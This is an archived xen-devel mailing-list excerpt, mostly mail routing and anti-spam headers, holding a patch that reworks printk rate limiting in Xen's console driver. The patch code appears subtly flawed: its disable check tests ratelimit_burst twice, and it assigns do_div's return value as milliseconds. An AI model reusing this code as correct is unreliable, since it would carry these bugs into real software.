	h0Y5L0jGZXZo9ZWzZl3knZNFR8EU+hGjIhEH0YtnnOHbh+PQfwrkWO4++FPP34dZEsPL5TWNsyqwU7N0BpmvS6q2SA3DU9CIeR7TbRz5GKGyX3jf6H1aRXIxX01cND/49DfmdaeReNzwHDUC7A0x3DZs/MYkkTq0LiRQTU9tL1u86RWbjkOtt7GlUSL5AVixJEJ5vBLALjS6RFdGpuWPXIl3Z7RY4urxR43KFLi161wnkHV259l9HniFpDOSn1LLXWx9/W5+Quin0sHvgdkTUHUQsh+0Hye6QzzDa6X6ZwnvYi/IA++3DOt95mDdbkh5ibaDs9R6Ka+MLWeDwWi1x7Bp3nBE4U4rSelpBr7uL7JUGB/E/BFjKkfd0/fJbtKpXXeGvCCZocD7i65nKmdBkBZ1ECri+oN0WPcuMwbCLHD7GzNT4iK0EpQPBXNdhHtt
X-Exchange-RoutingPolicyChecked:
	lt/e39y/+Gj7b1MNtOSEXhGNo7wraYU45PCEhCd6F/ZpM/rj7cBlvSqU+2QsNuGKFQy3ktfyuWs5YWGiCwlfCykvzX6J15kdNdNNJdMgv7+ROpT8DZKnnzrzkhmPis0h9Jq9wI4qufMaLI/NWKftAVWWdeIwfacjV0oqXwEroDCxbjtFBHaOpdDGbtVk5BABquM9ROAxGe7glgRVsyO0L+cISDXq+uZx+IF/l+8BV/VtXO+J25NzF+vp47KY6H2zotoVKayrVgHCVG9HR5Dh/yb3IlvHwV6VO2QCqtJbzwplXmP9qXT1wchywlVpgrIPI/LrXHPBjcwciya3MAWLnw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	Ok7eI+g34z+p097+Bmao6nhA7sDSzCIadXF7yuGD7T+7WRtmyBDaDE7A84ShOYAC54oTsoNAobrx3ePEmN/W9bKlOdoyFNQlMhS5GfJ47araEjQYTS6PvdwAQxO6Ewl26WTOCKtjsfnpSIVsnSs+UMpymuszohTxPAtl3oRnRLzp89olUBdQmlMeXTBComIXca3ldmWaHyxhtzwPrxvoOaXczqNlrNXtU4l44zqmN1Cj7djmga2fy96yC0NW2mkXVYGvmiGQjbUjbBta4go3XrfZ+EiPI3cpOHY5CleYR0tnFONrQYhN01LNOEUWaN9b7qNcckmBFxiiG9wIpqX514/AKpnNsZG1eE5IDtDydUj/OImBGR8F63wDm1/5t/rm6H21s2Pe0p59I1Ac9cEfrVgbe/d3N++Zny7UHiwJNnTZ40b6nTHGdV9dKH44BAa7tdCzdFgBewHfCyN+7/JpRGjxUbQwH1J8DA16yhyuL2vFIsrnhDQIictZ+zsgyBrrAwSx24Gt6sMvtKPZePZVcFOVXf9hSJVCaIBXadp0WrhU69wBzrE+x82/uU6lLe0u9sVoLSet+autdDWbQ/gFL0PPNwE9RA4rDvh4s2P1e8CqQougfgPhcdb4Blq+844J0lHY0hgnssGSeRDQKA9esQ==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 20:19:15.5027
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: a991b745-f816-4868-d664-08dee2ae57c4
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CO1PEPF000075F4.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV3PR16MB5598
X-Proofpoint-GUID: hepNAJkcW8etb253cbj--kuPvujRQJF_
X-Authority-Analysis: v=2.4 cv=FZcHAp+6 c=1 sm=1 tr=0 ts=6a57eb4a cx=c_pps
 a=NVF+LlzI6OJHpaJcpVMg1w==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=vnUQfov-gS4s1L7hHvr-:22 a=cbNQJ9GKAAAA:8
 a=LB0Ib6n2NbWcIVi9NEwA:9 a=3whSkbs7g9Me0DR5EJEX:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX4ENuFz6MOKg7
 2p6P6OKp59jfTxy2/gu/O+7cWQSwM7PdIXxvhvcmkAc+w8xcxrNbC04q6A5gkqFB39SKs9+//d0
 4ZR3zpimnzjbn5khL4BkgLggBEIhCgW0groGxZgSpgETE9NQjnDCbxXRRzTFbHEE9ZY+CXhBlU/
 8wsY7V1aEJ1l8+5yBdHp9qenyPw7rq5QVFO6fdqx+h4T2LMUim/lvb+zMe0caXKkBXLc3T9QTMc
 4jvaDKllgeVvSERNoh9uGeA0ue20jwOCNc8l2Y9RSn/kWDh2sXj7jjBkOEE2P2gXd/lqH1KUQa3
 7TpbZ4J4b5RUryJLJhbt+/ba3MNEOpdlMcjNoriSBkVl/O1Qch+djQJ8p83AODKTHyJ9qBO+UcW
 ao2jQBvfrpuJUTvZjeBdTdmMiIENM5wCbwhi4i8z6e531WFHD0kUBb5GmghcokZMYFZFcPI/AuE
 5VIbJfg+HxcPMOX6GOg==
X-Proofpoint-ORIG-GUID: hepNAJkcW8etb253cbj--kuPvujRQJF_
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX2+NTxcOkDJF/
 R9CN3VuBA4xMObjMx2WkYIwaWWH5E4XCHnDRUVcHDdD7bCeUe6FE78/z7vyDel5JgUGH5N4SnkS
 WganGEO+wAkvrUKtkvLIIcmnLWFDcqTnYIwPmD80uFASJhDPzRL6
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 spamscore=0 phishscore=0 adultscore=0 clxscore=1015 priorityscore=1501
 bulkscore=0 suspectscore=0 impostorscore=0 lowpriorityscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607150203
X-purgate-ID: tlsNG-d25034/1784146764-776D6A5B-9B91C767/0/0
X-purgate-type: clean
X-purgate-size: 1974

From: Denis Mukhin <dmukhin@ford.com> 

Use existing printk_ratelimit_ms and printk_ratelimit_burst variables in
do_printk_ratelimit() instead of hardcoded values 5000 and 10 respectively.

Ensure rate limiter is disabled if either printk_ratelimit_ms or
printk_ratelimit_burst is 0. Make sure no unnecessary initialization is done
in the corner case.

Also, simplify the limiter code by using min().

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v2:
- fixed typing and 32-bit integer overflow problem
---
 xen/drivers/char/console.c | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 5d395f882e08..de9f2432445d 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -1274,21 +1274,26 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
                         unsigned int ratelimit_burst)
 {
     static DEFINE_SPINLOCK(ratelimit_lock);
-    static unsigned long toks = 10 * 5 * 1000;
-    static unsigned long last_msg;
+    static unsigned long long toks, last_msg;
     static unsigned int missed;
+    unsigned long long now, limit;
     unsigned long flags;
-    unsigned long long now = NOW(); /* ns */
-    unsigned long ms;
+    s_time_t ms;
 
-    do_div(now, 1000000);
-    ms = (unsigned long)now;
+    if ( !ratelimit_burst || !ratelimit_burst )
+        return true;
+
+    limit = min(ratelimit_burst * ratelimit_ms, UINT_MAX);
+    if ( !toks )
+        toks = limit;
+
+    now = NOW(); /* ns */
+    ms = do_div(now, MILLISECS(1));
 
     spin_lock_irqsave(&ratelimit_lock, flags);
     toks += ms - last_msg;
     last_msg = ms;
-    if ( toks > (ratelimit_burst * ratelimit_ms))
-        toks = ratelimit_burst * ratelimit_ms;
+    toks = min(toks, limit);
     if ( toks >= ratelimit_ms )
     {
         unsigned int lost = missed;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 20:19:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 20:19:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363309.1615045 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk64q-0006SM-TQ; Wed, 15 Jul 2026 20:19:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363309.1615045; Wed, 15 Jul 2026 20:19:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk64q-0006SD-OZ; Wed, 15 Jul 2026 20:19:32 +0000
Received: by outflank-mailman (input) for mailman id 1363309;
 Wed, 15 Jul 2026 20:19:32 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wk64p-0006Rh-Ro
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 20:19:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk64p-00Ey8o-8W
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 22:19:31 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb16-e002-0a2a0a5209dd-0a2a4507b652-34
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:31 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb51-b4ea-0a2a45070019-94a38ff12dcc-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:30 +0200
Received: from pps.filterd (m0384717.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FKJSC23532581
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:29 GMT
Received: from sj2pr03cu001.outbound.protection.outlook.com
 (mail-westusazon11012009.outbound.protection.outlook.com [52.101.43.9])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4feescsjbx-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:28 +0000 (GMT)
Received: from CY5PR19CA0132.namprd19.prod.outlook.com (2603:10b6:930:64::29)
 by LV8PR16MB6175.namprd16.prod.outlook.com (2603:10b6:408:1ec::5)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.12; Wed, 15 Jul
 2026 20:19:11 +0000
Received: from CY4PEPF0000EE37.namprd05.prod.outlook.com
 (2603:10b6:930:64:cafe::6d) by CY5PR19CA0132.outlook.office365.com
 (2603:10b6:930:64::29) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.12 via Frontend Transport; Wed,
 15 Jul 2026 20:19:10 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 CY4PEPF0000EE37.mail.protection.outlook.com (10.167.242.43) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Wed, 15 Jul 2026 20:19:10 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FJvEBP3692062
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:09 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fe3eu8x79-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:09 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id k64PwzRvLjgQak64QwXNXC; Wed, 15 Jul 2026 20:19:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=ppford; bh=I8Pnrq2lO6jfFQky2ms3Em5np
	M1/2Wnqx0bhqwv2gp4=; b=u08nDJuF/qhHzy2Wl1iEw20WTmoCNnT81XIYD6Yjt
	tRTVtLEEM0X2czwEsLjX6XkPVHlT5qcT9RK/m6RncnXmxTvA+RpK4MeBT0yFsZAI
	UU4RyQdUpgK1g40Y68IEyTH+cB57yDnMetV21VI+b3lNdFLOW3GQbthG56Hf2PtT
	ypzOmL88Z0oyUu//PYBw19n/m46C5auWPpk/+kmOeb8w3kDhEgzs9hOCQSYVqQuV
	+yXIUHdafftXHrdl1Ri7kHGLrOtp5RnVTAWxQ4p5Nivf4iF5CnI+wwSf7bGDQozj
	lmee7Hn7a/Sp/hKYGSrRtqCXqArTo28Tutszf7S/kFReQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Xl0MeHJokuWS0Pz2jkVfAxTQ3lvMXGhs9v/kWZT2iplO2q+4AVsYjwsAbQFllX2CgxMyiX37TuT3mhZaYumq1fnUahnGG05xQmOOp7+5FWp8khIT1kCoVAEKiJ26px2EPACzTxz2dT78a7/nYrQh7I+64F9TPLGiG63PtfYcl2V4QuJ9B5ibc3wUIK5aQRS/5hL9CR8gjdrajG6or7M4szqxpfgSo/ZN/3lQxeXSLxjpQ2GCowFn8TqlFLfT9Ty+n28EzF8VHjnGirInQ+UdWk1D3/bytmwvVEBpFIxBV3VV0NMICXTBPqKmVwHID7LKJKmkQjMlPgow8MLjDj6u7g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=I8Pnrq2lO6jfFQky2ms3Em5npM1/2Wnqx0bhqwv2gp4=;
 b=HtZFsQPRmu+1IL0jC321wRvtRsPn9VqqkGIuiq5r6FefLvAE/6D7txrls3+agSYH5T8ZugReHzKI8qHUWa2CkB0ZN+LLkUA/YsFae7EIkkIBANPw0dTCCMguUkyXpXaexpLYjefR2zdSozJoD6CbvcOSb+rNoIdbdJDPlh4jsq4lvuwFhcEyGShhI2Zr5qW9xf5UMTzJft8Kz8kapRC7cF0R/qWHXyiNEueOubkgN5trhZKcRz8Vvnq8HKcaisG9tMEMOPdPbh5orpvbaoLtIMsnX/R9x7R6sMP43PMc3Cyo0pgYp+fCyMBVUc0El9SdMafDX+DtIAtf+xeDrh/wHQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=I8Pnrq2lO6jfFQky2ms3Em5npM1/2Wnqx0bhqwv2gp4=;
 b=eNbhSYXPtmMsXVfOV48Mv60xi6cUh8zQhEaA1c2Sd5LAKzSf7tkRokAvClbgviS4ks+KtzA9QL6zVWiMBtBYSIERO9wjtwWXJ6unGVFtv90gSohti/mteMToLhovQgzGM3zoZcfX0RRWZyFXaWOSdZPNY406Bx05o1vBNfF8ZVo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:message-id:mime-version:subject:to; s=ppserprodsaar; bh=I8Pnrq2
	lO6jfFQky2ms3Em5npM1/2Wnqx0bhqwv2gp4=; b=QATcmObvv6Zp9ZJZvzLqXDT
	60MDREAAGFDcjgM+kjReYLLkZJzgprXdmVkY7MthNXjqYlqjBvABL9sR8u9jIwo/
	0jitBmNfANGW461iWM0f3RupbQuoAFI4aOcgjiKteEIxEns/j4s3YphgP9ru0GQt
	elx5tUlf1IQS+lB5AIl0cQokVx0BiYiCRWIs+66ddXpJ+Elm8OE6DjzqxJURyym1
	VkSxJDZeXRyp6lShGYXSrYIsL5IG2zD+8AWCorBVKeuR9KS18LU0gv4RK7hia7eO
	Mjm+Jt38303AHF9mb8AUtLIWwg736nrzihAACx7w9H4ZW+fBjif/f2KwGadHGMA=
	=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:message-id:mime-version
	:subject:to; s=ppfserpocford; bh=I8Pnrq2lO6jfFQky2ms3Em5npM1/2Wn
	qx0bhqwv2gp4=; b=TqmOwHsDdHsQXFFr4DwQQjtaJdiTapYNo7qaMSIfSxJ+us9
	tEcR2ODoeQYvcX/ZETZ9KxEU9lzufrHKmqDPWMsh0/ySakuX0HMTyBQsZbP77dOI
	NbonOxndYwbx7/1qWQjhfUhCl1mMxHeD8QBktxkMGwgYin/a196bYojtnuJwXMyu
	Aui/eEzpZ5tszQq2iQ0+PG+ggCuC/0Qgrc4ciTtq5C2i4fvebsHdgriDOxxOYTpS
	W5fRxBLDI+OHFDgDa7I/vM0huZodAjNBG0uPHeiJle0ktwV4nQkymG3GN7/tGWiM
	1LsIOVW6mofjzcTCd3t41J91INRsTUUnP21IzWg==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: k64PwzRvLjgQak64QwXNXC
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v3 0/4] xen/console: updates to rate-limiting
Date: Wed, 15 Jul 2026 13:18:58 -0700
Message-ID: <20260715201902.2984407-1-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 spamscore=0 suspectscore=0 malwarescore=0 phishscore=0
 adultscore=0 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607150203
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000EE37:EE_|LV8PR16MB6175:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: dd29e9cc-bb12-4177-9c05-08dee2ae5498
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|23010399003|1800799024|376014|36860700016|56012099006|11063799006|6133799003|3023799007|10067099003|18002099003|13003099007;
X-Microsoft-Antispam-Message-Info:
	wKhy8M8sGIKPGX/A75etCriuI7e9pz9zEUFSw7cvMVJKrFEA8MKfrS3/lcnNQFhPlzz9RtoeYSqABH8rAQ1WVcRBlLITWW6H151Y5IPxlb5CBkDEzSxy1nbMoztH6FX5b8N3x6zqmt8r/cTa1KOHmZxPl8OR7hAApnhtUwHQfM4dzWUFy0Yv027TP3mp9qjyu6TiiRo+aIdZ8+mtB7Elk2A8jE2Qm/ZKRMkqD3M6Q+6FDtyG/5hlNa7JIXkEgPADc8nTwq2enwQ/WY1cybRGkDpU0ccUsMoemx/0x4W/A+lqx7Frumj7qf2qXCd/CFeBZS3WK8ub6Cw7HXLsljQRQKO+crxnN/lKJ8VsyJa5GEgBgIGSHX9bNysYCJeL/DT+ojxrL+dQiyhc7QyU1RGIYWAlP8fr9zdvjGPlwO/EcMB9MV6DdRmLEOSyZU/UfF27CFJXP0wpHZuJf0Lq7y6woSEu9lu+DkqRQEaTmYMQpB80JuvzBhTdTVNaVyCKvdzEakR6PE3v9v3gB/V1Hk5cb3akvAXvlzNEFjYoEriwTK/5pPE29Zv8PIOT9/moHZfGMQNQSArk4GqjFqQZvlkkZ4DykMyY/3yJaKktkCkjynH5ygHfWyXJk8knbalWbRXayHiHA2+XOyvFviXSm7i2CHdKt9VC8divmo/5piLGAVE5lem1NzDoxNHEkPfBasNhQu/32sIloQTTFfuwBNfFag==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(23010399003)(1800799024)(376014)(36860700016)(56012099006)(11063799006)(6133799003)(3023799007)(10067099003)(18002099003)(13003099007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	hEAePoOB4jVLG+YYQp4sBhoOu/POVsnP8s4HanWJo/s//1XP6WnquYHTXbhDHg9ASXKHBmi1N2k8pfK3ekGUjsFTVe5N7whJ43WPyIb2xwgXzo35MlEkNEne20f8HGiASlVHcP0mDBkmno4dYamN0PjON+2mieH/nuVDhF7qaTiiOOkejxvuCtkQgCcbCFl2iNarkPwOYttWgyBprt0kkcKy9rtD2SFPI3yNwFRHNcDhpVjBWlzEsOYc5MnBHrRhozNLin8kXHWTcGcpIpQtWaqtPi+jYFOZew1uY/owFsl0izW4OV5umcaQb92HRr0a7o3uvKpLRNkxZABHiyspINBVLNniPVIvX/uCygJ8tGYABZWH9Iy3fEKem/LWyMVnpVZdIQ8o4rR8+C8x7qmIsPOzWbvt4nuBhog0fLmeFLPDdmrEps2qKAdEeeGyH0xZ
X-Exchange-RoutingPolicyChecked:
	FNTtccExqodXWQo79DXMP1JpHSu2HwGWGWRRtzvQEMiSMZbxZG5FL3ShJDM7Jt7XItin9asVODPJHaxHcyaWHMD7outG+S3gN7NRXXp5YadXlkCL2GZHY0iLnsYHS4QVyaWN5XiM+cCfhfSLjnhdaAdGFdhiGluiz7eeaTiy+e1cjtAdne0pFu8MDuP/4t0n9ispNMnkDGVy+f3GjL7tQZ7GFXat7lP82ymyn7YLxbb+Tw18FTzy26HBqK482cZa9Ff7akruyIwhJfaBpZfaIuB7ajY8ysNmZIHMIEOk/PSCSno+eSRGjcggcoWAuUD/0PEjVZdoJe3zyKGa5QPSDA==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	vRNT5AKrZEztxEvIywOlK+aYUBIqKoI9Ajzg672AFkErTQ6BjpXCnsGzqw9WlCSY0j9f0dJBGontOR5tV6mn+oWPXwYnah/fez9+6EmUmN7Mc5TyXk0yIXU+rV0wO+eNpkUJDKeTLIfBcCV3qhofcHYGuRNpDzGbEi09YlBZLUW8OOpCzM+S9+Ta2RSrZBaqkBglIGH4ws2CC4u1PYKqMns7ksUkl4zZtwnnFy48kPDYf3+T+hOPk1h06x4Xolb0wUnDkkutgOt8Y21QW7g+zdOp4BMasx772qkSId4RfRzfFYuenk8MHVxYy9lRUy1OMAiq1h9UJuVK9asPNolGc/PMlj8593TMuXcDtzBkZrPfs6HWpDzmPv88ZT+9Yvfkc4EybW1VXV2iX8pm14WYBXnQwYSwEhymcmr3CUZckGSK00vD3h8AbWqIbm9wsMbE7QmEYwOiaYBXxS9PPHPekT2fJtY9Ai9O7uDGmvUxCraC7eFXsCMgp3tVMKN11sKY0bkZ/CIP7Y9RM85DyOFZNf6sEffvmWRhS59LWmuEKtuRlw4TN0Idf98bh3AkVJ6UL0TowWvbJDt71UU/VQdxB7eb/0neaFOQcyCjqJ8aOsbpkbtSZ2isRzcj33hvHpdzogS98jmc1GsLsQsf+nZPdA==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 20:19:10.2741
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: dd29e9cc-bb12-4177-9c05-08dee2ae5498
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000EE37.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR16MB6175
X-Proofpoint-ORIG-GUID: sjY1HXPDSf5b3BSVADhu_j4X_btC0Zd_
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX+wywCfU0NxAG
 gdNXvzwoWEYhYYylZxnypb0DkwqbSlU41OTjRZF7bDprvtLeb813VWJ1SiL4bkwr9Mg7eKyUoZn
 nhrAsgaLebv999jKWI3XWm1LkGhK68xJcc3vAnun7jEahBHd39hc
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX0v2R2g2TyqfK
 b41tE5qBfIatzbi9hA8TdwU2uCW/urhRwat0sjpCTOJ/i3fephNuTtpPjpwRAUie5t6qHiPE2QV
 rj5y/tBG0ZQMbTaUsFrWozF///6TebBp+PvIkRg4+Vba6jFn+WeRhaQoIloafeomECtEy5T7WS7
 cJaDhNsgdFBaoJjRMVoSMUEyYxLWAPqt+aC6zPZ5lycBoQ9JQVkCJPS174D66+bIKNK9fq2jWH2
 mBc8awcEP0W3NZ4Mq1IzcCx2thHw9Hhxj0ddIUe5UhhTIxfMVQ1uuabPJMxSco0FVBvNan704x2
 Dw+VVrpMwhwQ2HZy6iSkI+8NiCd8vqdf3zK/xWoMsvfZr++hP1qyBWUWE4EziApMQJaaLC0R1RI
